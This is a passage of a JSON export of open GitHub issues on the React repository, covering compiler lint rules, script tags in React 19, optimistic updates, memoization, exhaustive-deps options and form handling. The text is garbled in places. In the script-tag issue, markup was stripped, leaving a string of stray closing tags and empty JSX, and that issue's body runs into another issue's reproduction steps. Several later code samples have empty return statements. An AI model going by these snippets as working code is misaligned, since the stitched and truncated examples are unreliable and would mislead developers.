"controversial", "id": 10377391, "node_id": "MDQ6VXNlcjEwMzc3Mzkx", "avatar_url": "https://avatars.githubusercontent.com/u/10377391?v=4", "gravatar_id": "", "url": "https://api.github.com/users/controversial", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 121709921, "node_id": "MDU6TGFiZWwxMjE3MDk5MjE=", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Feature%20Request", "name": "Type: Feature Request", "color": "c7def8", "default": false, "description": null }, "1": { "id": 180616330, "node_id": "MDU6TGFiZWwxODA2MTYzMzA=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20React%20Compiler", "name": "Component: React Compiler", "color": "bfdadc", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 19, "created_at": "2025-07-29T20:42:31Z", "updated_at": "2026-01-26T18:25:56Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### What kind of issue is this?\n\n- [ ] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)\n- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)\n- [x] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)\n- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)\n\n### Link to repro\n\nhttps://playground.react.dev/#N4Igzg9grgTgxgUxALhAgHgBwjALgAgBMEAzAQygBsCSoA7OXASwjvwFkBPAQU0wAoAlPmAAdNvjiswBANowEZQpwA0+MAlwAlRcoC6+ALz4oGgMq4yuBP3KUNggNzj8JjQFESJBI35CjAHwiLq74APRhRBD4ABYICuoQALaaMUx0AOb4uDFWsWRg2dG5fAhsrNlxkpRMZQT8dBAE6fhmZlqCIa4R+AB0-V3qmjpKnPy4MFAITiEAvmqyejN0s+Igs0A\n\n### Repro steps\n\nObserve react compiler lint error\n\nI think it should be possible to set state in an effect under the condition that:\n- The state is being set to a primitive value, so it will not cause cascading renders if it happens multiple times because the state value will be equal.\n- The state variable being set _isn’t_ in the dependency array of the effect, so it won’t cause cascading renders.\n\n---\n\nThis is a common pattern, even in “synchronization”-style uses of effects (i.e. uses that comply with the standards in “you might not need an effect”). To give a real-world example, consider an effect that sets up an IntersectionObserver, but also wants to set a reasonable “initial” value before the first time the IntersectionObserver fires:\n```ts\n useEffect(() => {\n if (!ref.current) return undefined;\n const rect = ref.current.getBoundingClientRect();\n const isIntersecting = rect.top < window.innerHeight && rect.bottom > 0;\n setVisible(isIntersecting);\n const io = new IntersectionObserver(([entry]) => {\n if (!entry) return;\n setVisible(entry.isIntersecting);\n });\n io.observe(ref.current);\n return () => { io.disconnect(); };\n }, []);\n```\n\nHere, `setVisible` uses a primitive boolean value, so multiple calls to `setVisible(true)` won’t cause cascading re-renders. Additionally, the effect doesn’t fire in response to changes to `setVisible`. Finally, this effect usage seems squarely within the intended “synchronization with an external system” (IntersectionObserver) usage of an effect.\n\n### How often does this bug happen?\n\nEvery time\n\n### What version of React are you using?\n\nreact@19.1.1\n\n### What version of React Compiler are you using?\n\neslint-plugin-react-hooks@0.0.0-experimental-9be531cd-20250729", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/34045/reactions", "total_count": 17, "+1": 14, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 1, "rocket": 0, "eyes": 2 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/34008", "id": 3264884599, "node_id": "I_kwDOAJy2Ks7Cmi93", "number": 34008, "title": "Bug: [React 19] Script tags not executing when embedded in components.", "user": { "login": "DigitalNaut", "id": 12903889, "node_id": "MDQ6VXNlcjEyOTAzODg5", "avatar_url": "https://avatars.githubusercontent.com/u/12903889?v=4", "gravatar_id": "", "url": "https://api.github.com/users/DigitalNaut", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 11, "created_at": "2025-07-26T02:14:49Z", "updated_at": "2026-01-26T06:28:45Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "<!--\n Please provide a clear and concise description of what the bug is. Include\n screenshots if needed. Please test using the latest version of the relevant\n React packages to make sure your issue has not already been fixed.\n-->\n\nEmbedding a `<script>` tag [according to the documentation](https://react.dev/reference/react-dom/components/script#rendering-an-external-script) does not execute the contents of the script. It seems straightforward, but am I missing something?\n\nReact version: 19.1\n\n## Steps To Reproduce\n\n1. Set up a base React app.\n2. Include a `<script>` tag anywhere in a component.\n\n<!--\n Your bug will get fixed much faster if we can run your code and it doesn't\n have dependencies other than React. Issues without reproduction steps or\n code examples may be immediately closed as not actionable.\n-->\n\nExample:\n\n<!--\n Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a\n repository on GitHub, or provide a minimal code example that reproduces the\n problem. You may provide a screenshot of the application if you think it is\n relevant to your bug report. Here are some tips for providing a minimal\n example: https://stackoverflow.com/help/mcve.\n-->\n\n`package.json`\n```json\n{\n \"main\": \"/index.js\",\n \"scripts\": {\n \"start\": \"react-scripts start\",\n \"build\": \"react-scripts build\"\n },\n \"dependencies\": {\n \"react\": \"19.1.0\",\n \"react-dom\": \"19.1.0\",\n \"react-scripts\": \"5.0.1\",\n \"html-format\": \"1.1.7\"\n },\n}\n```\n\n`public/index.html`\n```html\n<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"UTF-8\">\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n <title>Document</script></number></nodetype></name></translations></anonymous></anonymous></anonymous></anonymous></anonymous></anonymous></anonymous></anonymous></form></custom-element></custom-element></activity>\n\n\n
\n\n\n```\n\n`src/index.js`\n```jsx\nimport { StrictMode, useEffect } from \"react\";\nimport { createRoot } from \"react-dom/client\";\n\nfunction useScript(content) {\n useEffect(() => {\n const script = document.createElement(\"script\");\n script.innerHTML = content;\n\n document.body.appendChild(script);\n return () => {\n document.body.removeChild(script);\n };\n }, [content]);\n}\n\nfunction App() {\n // This works\n useScript(\"console.log('Hello from hook!');\");\n\n // Do not work:\n return (\n <>\n {/* Inline script */}\n \n\n {/* Dangerous inline script */}\n \n\n {/* External script */}\n \n\n Hello world!\n >\n );\n}\n\nconst root = createRoot(document.getElementById(\"root\"));\nroot.render(\n \n \n \n);\n\n```\n\nSo, creating a script procedurally with a hook is fine, but adding a script tag of any type does not execute its contents.\n\n## The current behavior\n\nThe `
\n
\n \n {\" \"}\n \n
\n
\n );\n }\n \n ```\n\n2. Click on Inc.\n3. Observe how after 1 second and a simulated server failure the number goes back to 0.\n4. Click on Unrelated slow.\n5. Click on Inc.\n\n## The current behavior\nThe number stays at 1 for 20 seconds, until the unrelated action completes.\n\n![Image](https://github.com/user-attachments/assets/93bdb143-b2dc-404d-be95-3496ff00efae)\n\n## The expected behavior\nAfter 1 second number goes back to 0, whether or not we have launched an unrelated slow action.\n\n![Image](https://github.com/user-attachments/assets/e1086dae-d2ae-40cf-bbe8-7431d60d8b25)", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/33545/reactions", "total_count": 2, "+1": 2, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/33541", "id": 3150662763, "node_id": "I_kwDOAJy2Ks67y0xr", "number": 33541, "title": "Bug: React date input not working with iOS voiceover", "user": { "login": "thegrims", "id": 8848557, "node_id": "MDQ6VXNlcjg4NDg1NTc=", "avatar_url": "https://avatars.githubusercontent.com/u/8848557?v=4", "gravatar_id": "", "url": "https://api.github.com/users/thegrims", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 69105358, "node_id": "MDU6TGFiZWw2OTEwNTM1OA==", "url": "https://api.github.com/repos/facebook/react/labels/Browser:%20Safari", "name": "Browser: Safari", "color": "c7def8", "default": false, "description": null }, "2": { "id": 127893911, "node_id": "MDU6TGFiZWwxMjc4OTM5MTE=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20DOM", "name": "Component: DOM", "color": "fef2c0", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 4, "created_at": "2025-06-16T16:54:39Z", "updated_at": "2025-10-18T17:31:52Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "\n\nReact version:\n\n## Steps To Reproduce\n\n1. Add input with input type date like in this codesandbox https://codesandbox.io/p/sandbox/x6ctp5?file=%2Fsrc%2FApp.js\n2. Access codesandbox link https://x6ctp5.csb.app/ or similar on browser on an iPhone with voiceover on\n3. When the datepicker is focused, calander doesn't become visible, which blocks voiceover users from using this element\n\n\n\nLink to code example:\n\n\nhttps://codesandbox.io/p/sandbox/x6ctp5?file=%2Fsrc%2FApp.js\n\n## The current behavior\n- Calendar doesn't show up in datepicker when element is selected in voiceover\n\n## The expected behavior\n- Calander should show up when selected", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/33541/reactions", "total_count": 1, "+1": 1, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/33502", "id": 3135234068, "node_id": "I_kwDOAJy2Ks663-AU", "number": 33502, "title": "[Compiler Bug]: Functions defined in render that return primitives don't have usages memoized", "user": { "login": "jaaamesey", "id": 13027858, "node_id": "MDQ6VXNlcjEzMDI3ODU4", "avatar_url": "https://avatars.githubusercontent.com/u/13027858?v=4", "gravatar_id": "", "url": "https://api.github.com/users/jaaamesey", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 180616330, "node_id": "MDU6TGFiZWwxODA2MTYzMzA=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20React%20Compiler", "name": "Component: React Compiler", "color": "bfdadc", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 0, "created_at": "2025-06-11T01:48:19Z", "updated_at": "2025-11-03T20:38:01Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### What kind of issue is this?\n\n- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)\n- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)\n- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)\n- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)\n\n### Link to repro\n\nhttps://playground.react.dev/#N4Igzg9grgTgxgUxALhASwLYAcIwC4AEwBUYCAyngIZ4IEC+BAZjBBgQOQwJVx4cBuADoA7UUygi+aCCIIAhKgBMAFAEoioggTiywhANq7JtGABoCZPAGFoI0wF0CAXhJlKNBCoAMa4WLlmSWlZAgQADywEETA0ADcEW2woajwZEXVNQO0mXAIVABsEQjQXAm8BAlKAHgIATga6yrQAahaNYC1tBi7tbjxYOQBmf216US6AekmCJKwUhCUw3gALAm4RJQQYAEIu3RjCCKiY+IQANSoCqDpXY+jYhLmUmnT1fy7+wYJqgCMUvChWTWApoOAAa2cwEyzgAfJZirYTNsVHI4QQ5C0CABGNT0WFI+zIIjGezbRjAe6nBKXa4IejVSb-PCAkSw0TjAISKRpUIAcQgEFUHX2ekMpNMFishMcZVIFFSXl8H0C3JCcipj0SbHmqTeIuyzDyhWKVTKFTNtUaTSqbQN3R6hq+MDkxDiVxuxKGDFGjqmMwAchBCLpkrQljw4GsNltdqLDmFIg8zrSbmVNWdnnrZO8JoFnXI-gCgSIQWDIdCNOjpXZTKiXPDMTi8QTa8TgBLyUQMzSPQgAHTuukMpnFtkcvNq3lyACCBUgAqFmU6gQO+gIRlr2yliK3MCcrnlHloPj8ee00wIQZDOoWEdW62isb2q7FiZOWtTt3fyaet+zGRngEfTFN8RYsiWZYQlCMLwjWyIwPW6JNri+Iyu2nYwBSPYXH2I7Mqy7IiJy4jBNOP7UtqYavDm9pGjA+RFCU5rND89SNM0dpZGMnygS6BAjByID0EAA\n\n### Repro steps\n\nLoving the compiler so far! Here's a bit of an inconsistency I've discovered - apologies if it's been brought up elsewhere.\n\nIf a function:\n\n- is defined in the body of a component\n- returns a primitive value, instead of an object\n\ncalls to it won't be memoized, even if it's particularly expensive.\n\nHere's an example of what I mean: `expensiveComputation` is called every render (i.e. every time the button is clicked).\n\n```jsx\nfunction Bad() {\n const [counter, setCounter] = useState(0);\n\n function expensiveComputation() {\n for (let i = 0; i < 9999; i++) {\n }\n return 3;\n }\n\n // Computed each render!\n const expensiveValue = expensiveComputation();\n\n return \n}\n```\n\nWhat's interesting is that the function reference itself is actually memoized - it's just calls to it that aren't.\n```jsx\n let t0;\n if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n t0 = function expensiveComputation() {\n for (let i = 0; i < 9999; i++) {}\n return 3;\n };\n $[0] = t0;\n } else {\n t0 = $[0];\n }\n const expensiveComputation = t0;\n```\n\nAgain, this issue does not occur if the function returns an object:\n\n```jsx\nfunction Good() {\n const [counter, setCounter] = useState(0);\n\n function expensiveComputation() {\n for (let i = 0; i < 9999; i++) {\n }\n return { value: 3 };\n }\n\n // Not computed each render!\n const expensiveValue = expensiveComputation();\n\n return \n}\n```\n\nOr if the function is defined outside the component: \n\n```jsx\nfunction AlsoGood() {\n const [counter, setCounter] = useState(0);\n\n // Not computed each render!\n const expensiveValue = expensiveComputation();\n\n return \n}\n\nfunction expensiveComputation() {\n for (let i = 0; i < 9999; i++) {\n }\n return 3;\n}\n```\n\n\n\n\n### How often does this bug happen?\n\nEvery time\n\n### What version of React are you using?\n\n19.1.0\n\n### What version of React Compiler are you using?\n\n19.1.0-rc.2", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/33502/reactions", "total_count": 2, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 2, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/33489", "id": 3131480516, "node_id": "I_kwDOAJy2Ks66ppnE", "number": 33489, "title": "Bug: infinite re-renders when queueing state updates via promises during render", "user": { "login": "mjesun", "id": 829269, "node_id": "MDQ6VXNlcjgyOTI2OQ==", "avatar_url": "https://avatars.githubusercontent.com/u/829269?v=4", "gravatar_id": "", "url": "https://api.github.com/users/mjesun", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 4, "created_at": "2025-06-09T21:00:34Z", "updated_at": "2026-02-05T20:10:25Z", "closed_at": null, "assignee": null, "author_association": "CONTRIBUTOR", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "React version: 18.3.1\n\n## Steps To Reproduce\n\n1. [Created a sandbox to illustrate the issue](https://codesandbox.io/p/sandbox/react-18-playground-forked-w2jds3?file=%2Fsrc%2FApp.tsx).\n2. Open and it \"trigger\".\n3. Check the console. 100 renders are scheduled after hitting trigger, despite `setState` sets the same value.\n\n## The current behavior\n\n* You will see more than 100 re-renders until we stop it, otherwise it would indefinitely run.\n\n* This does not happen on React 17, React 18 with legacy root and React 19 (at least in the sandbox, could be due to auto-optimization of the component via the compiler). Happens in all React 18 versions.\n\n## The expected behavior\n\n* Calling `setState` with the same value already set, even in an asynchronous promise, should not re-trigger the render of the component, even if the operation of updating the state asynchronously within a component is not officially supported.", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/33489/reactions", "total_count": 10, "+1": 9, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 1 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/33399", "id": 3107642442, "node_id": "I_kwDOAJy2Ks65OtxK", "number": 33399, "title": "Feature Request: [eslint-plugin-react-hooks] Provide a way for custom hooks with a dependency array to accept seemingly redundant dependencies", "user": { "login": "aweebit", "id": 36817090, "node_id": "MDQ6VXNlcjM2ODE3MDkw", "avatar_url": "https://avatars.githubusercontent.com/u/36817090?v=4", "gravatar_id": "", "url": "https://api.github.com/users/aweebit", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": {}, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 5, "created_at": "2025-06-01T18:25:25Z", "updated_at": "2025-12-24T12:09:51Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "- #33041\n\nSince React doesn't provide a native way to define a dependency array for resetting state, I have to resort to a user-land implementation of this functionality. Here is the signature of the hook I use:\n\n```ts\nfunction useDerivedState(\n initialState: S | ((previousState?: S) => S),\n deps: DependencyList,\n): [S, Dispatch>]\n```\n\nPlease check https://github.com/facebook/react/issues/33041#issuecomment-2923900312 for details and full code.\n\nIn order to get warnings about missing dependencies, I add this rule to my ESLint config:\n\n```ts\n'react-hooks/exhaustive-deps': [\n 'warn',\n { additionalHooks: 'useDerivedState' },\n]\n```\n\nUnfortunately, that leads to warnings in cases where there shouldn't be any. Here is an example:\n\n```ts\nconst [collapsed, setCollapsed] = useDerivedState(() => true, [collapsible]);\n```\n\nThe reason is that `collapsible` is listed as a dependency, but not present in the initializer function's body, so the linter plugin thinks it's unnecessary. However, this is intended: it is desired that `collapsed` is reset to `true` whenever `collapsible` changes.\n\nSuch seemingly redundant dependencies are currently only accepted for the effects family of hooks. They got this special treatment shortly after the `exhaustive-deps` rule was introduced, see https://github.com/facebook/react/issues/14920#issuecomment-471070149.\n\nThe test for whether a hook belongs to the effects family is very simple: it's enough that the hook's name includes the substring `\"Effect\"` at the end of it, or followed by a symbol other than a lowercase letter.\n\nhttps://github.com/facebook/react/blob/ee76351917106c6146745432a52e9a54a41ee181/packages/eslint-plugin-react-hooks/src/rules/ExhaustiveDeps.ts#L1334\n\nNow, I could of course rename my `useDerivedState` hook to something like `useDerivedStateEffect`, but this would be a despicable misnomer since not only is the hook's functionality nothing like that of `useEffect`, but also its whole idea is to fight how effects are used all over the place for deriving state despite it being a terrible anti-pattern (#33041 has a detailed explanation).\n\nA couple more workarounds I can think of:\n\n1.\n ```ts\n // eslint-disable-next-line react-hooks/exhaustive-deps\n const [collapsed, setCollapsed] = useDerivedState(true, [collapsible]);\n ```\n\n Simply suppressing the warning. Dirty.\n2.\n ```ts\n const [collapsed, setCollapsed] = useDerivedState(() => {\n collapsible; // eslint-disable-line @typescript-eslint/no-unused-expressions\n return true;\n }, [collapsible]);\n ```\n\n Forcing `collapsible` to be referenced in the initializer function's body, but now a different warning has to be suppressed.\n\n This is more verbose and a little confusing, but especially in more complex cases where we don't only have one single dependency, I would go for this option because I wouldn't want to disable the `exhaustive-deps` rule completely.\n\n (By the way, Biome's `useExhaustiveDependencies` rule [allows ignoring only a specific dependency](https://biomejs.dev/linter/rules/use-exhaustive-dependencies/#ignoring-a-specific-dependency). This alone make me kind of want to give Biome a try. Very inspiring!)\n3. \n ```ts\n const [collapsed, setCollapsed] = useDerivedState(() => {\n return collapsible || true;\n }, [collapsible]);\n ```\n\n There shouldn't be any problem with this, right? Well, turns out there is, and it's that with this code, TypeScript for whatever reason decides that the type of `collapsed` is `true` rather than `boolean`, so it has to be specified manually:\n\n ```ts\n const [collapsed, setCollapsed] = useDerivedState(() => {\n return collapsible || true;\n }, [collapsible]);\n ```\n\n I'm really clueless about why TypeScript thinks `collapsible || true` is of type `true` while a simple `true` expression is of type `boolean`. Probably I should open an issue about this in TypeScript's repo, but if anyone here has any idea, please let me know 🙏\n\n Anyway, I shouldn't be writing stupid code like this just to get around the linter plugin's limitations.\n\nI suggest introducing support for the following kind of configuration:\n\n```ts\n'react-hooks/exhaustive-deps': ['warn', {\n additionalHooks: [\n { name: 'useDerivedState', allowExtraDeps: true },\n { name: 'useDefinitelyNotAnEffect', allowExtraDeps: false },\n /^(useMyCustomHook|useMyOtherCustomHook)$/,\n ]\n}]\n```\n\nProbably quite self-explanatory, but here are some details:\n\n- `additionalHooks` can now accept objects of this shape:\n \n ```ts\n { name: string | RegExp, allowExtraDeps?: boolean }\n ```\n\n If `allowExtraDeps` is undefined, the decision on whether to report seemingly redundant dependencies should be made just the same way it is made now. Otherwise, it should be based on that property's value.\n- I think it's better not to convert the `name` properties from string to regexes, but treat strings as values that should be matched exactly. Before, regexes couldn't be used directly because the config file had to be in JSON format, and that is why strings were converted to regexes. With the new flat config format, that is no longer necessary to have regex support.\n- In addition to strings, regexes and object of the proposed shape, `additionalHooks` should also accept arrays of those values so that each one of them can be configured individually.\n\nThe proposed object shape could also be extended to allow even more flexibility, like for example what the aforementioned Biome rule offers with its [`closureIndex` and `dependenciesIndex` options](https://biomejs.dev/linter/rules/use-exhaustive-dependencies/#validating-dependencies) (this would solve #25443), or with its [`stableResult` option](https://biomejs.dev/linter/rules/use-exhaustive-dependencies/#stable-results) (this would solve #16873)", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/33399/reactions", "total_count": 1, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 1, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/33391", "id": 3105845078, "node_id": "I_kwDOAJy2Ks65H29W", "number": 33391, "title": "Bug: [eslint-plugin-react-hooks] No `react-hooks/exhaustive-deps` warning when an unstable reference is passed to hook's callback parameter", "user": { "login": "aweebit", "id": 36817090, "node_id": "MDQ6VXNlcjM2ODE3MDkw", "avatar_url": "https://avatars.githubusercontent.com/u/36817090?v=4", "gravatar_id": "", "url": "https://api.github.com/users/aweebit", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 8, "created_at": "2025-05-31T17:54:48Z", "updated_at": "2026-03-04T12:14:52Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "\n\nReact version: 19.1.0\neslint-plugin-react-hooks version: 5.2.0\n\n## Steps To Reproduce\n\n1.\n ```bash\n git clone https://github.com/aweebit/eslint-plugin-react-hooks-unstable-reference-issue.git`\n cd eslint-plugin-react-hooks-unstable-reference-issue\n npm install\n ```\n2. Run `npm run lint` and observe how there are no warnings.\n3. Run `npm start`, open the served page in your browser and look at the console output.\n\n\n\nLink to example repository: https://github.com/aweebit/eslint-plugin-react-hooks-unstable-reference-issue\n\n\n\nHere is the full example code:\n\n```js\nimport { createElement, useEffect, useReducer } from \"react\";\nimport { createRoot } from \"react-dom/client\";\n\nlet bar = () => console.log(\"good\");\n\nfunction Example() {\n console.log(\"rendering\");\n const [updateTrigger, triggerUpdate] = useReducer(() => ({}), {});\n\n useEffect(() => {\n const timeout = setTimeout(triggerUpdate);\n return () => clearTimeout(timeout);\n }, []);\n\n useEffect(bar, [updateTrigger]);\n\n return null;\n}\n\ncreateRoot(\n /** @type {HTMLDivElement} */ (document.getElementById(\"root\"))\n).render(createElement(Example));\n\nsetTimeout(() =>\n setTimeout(() => {\n console.log(\"changing bar\");\n bar = () => console.log(\"evil\");\n })\n);\n```\n\n## The current behavior\n\nNo ESLint warnings\n\n## The expected behavior\n\n```\n15:3 warning React Hook useEffect received a function whose dependencies are unknown. Pass an inline function instead react-hooks/exhaustive-deps\n```\n\n## Details\n\nThe expected behavior is what happens if you write\n\n```js\nconst foo = { bar: () => console.log(\"good\") };\n```\n\nand replace `bar` with `foo.bar` everywhere.\n\nThe warning makes perfect sense since there is no way for the linter plugin to know for sure `foo.bar` doesn't change between renders. But there is also no way for it to know it if a variable declared with `let` such as `bar` is passed! That's why a warning also has to be produced in that case.\n\nOn the other hand, if the variable passed was declared with `const`, it is fine to not produce any warning because in that case, the plugin would have a guarantee it's a stable reference.\n\nThe issue was discovered in https://github.com/facebook/react/issues/31207#issuecomment-2925440287.", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/33391/reactions", "total_count": 1, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 1, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/33361", "id": 3095212167, "node_id": "I_kwDOAJy2Ks64fTCH", "number": 33361, "title": "Bug: formMethod specified on the submit button doesn't override the method from useFormStatus.", "user": { "login": "levkovich2806", "id": 4170335, "node_id": "MDQ6VXNlcjQxNzAzMzU=", "avatar_url": "https://avatars.githubusercontent.com/u/4170335?v=4", "gravatar_id": "", "url": "https://api.github.com/users/levkovich2806", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 9, "created_at": "2025-05-27T21:01:13Z", "updated_at": "2026-03-04T09:15:58Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "React version: 19.1\n\nWhen using formMethod on a submit button (`, ` and so on. If you're taking PRs, I would have a look at that, too.)\n\n\n### How often does this bug happen?\n\nEvery time\n", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/33210/reactions", "total_count": 3, "+1": 0, "-1": 0, "laugh": 2, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 1 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/33181", "id": 3057859426, "node_id": "I_kwDOAJy2Ks62Qzti", "number": 33181, "title": "[Compiler]: Detection for calling components as functions (instead of JSX)", "user": { "login": "niklas-io", "id": 39281854, "node_id": "MDQ6VXNlcjM5MjgxODU0", "avatar_url": "https://avatars.githubusercontent.com/u/39281854?v=4", "gravatar_id": "", "url": "https://api.github.com/users/niklas-io", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 121709921, "node_id": "MDU6TGFiZWwxMjE3MDk5MjE=", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Feature%20Request", "name": "Type: Feature Request", "color": "c7def8", "default": false, "description": null }, "1": { "id": 180616330, "node_id": "MDU6TGFiZWwxODA2MTYzMzA=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20React%20Compiler", "name": "Component: React Compiler", "color": "bfdadc", 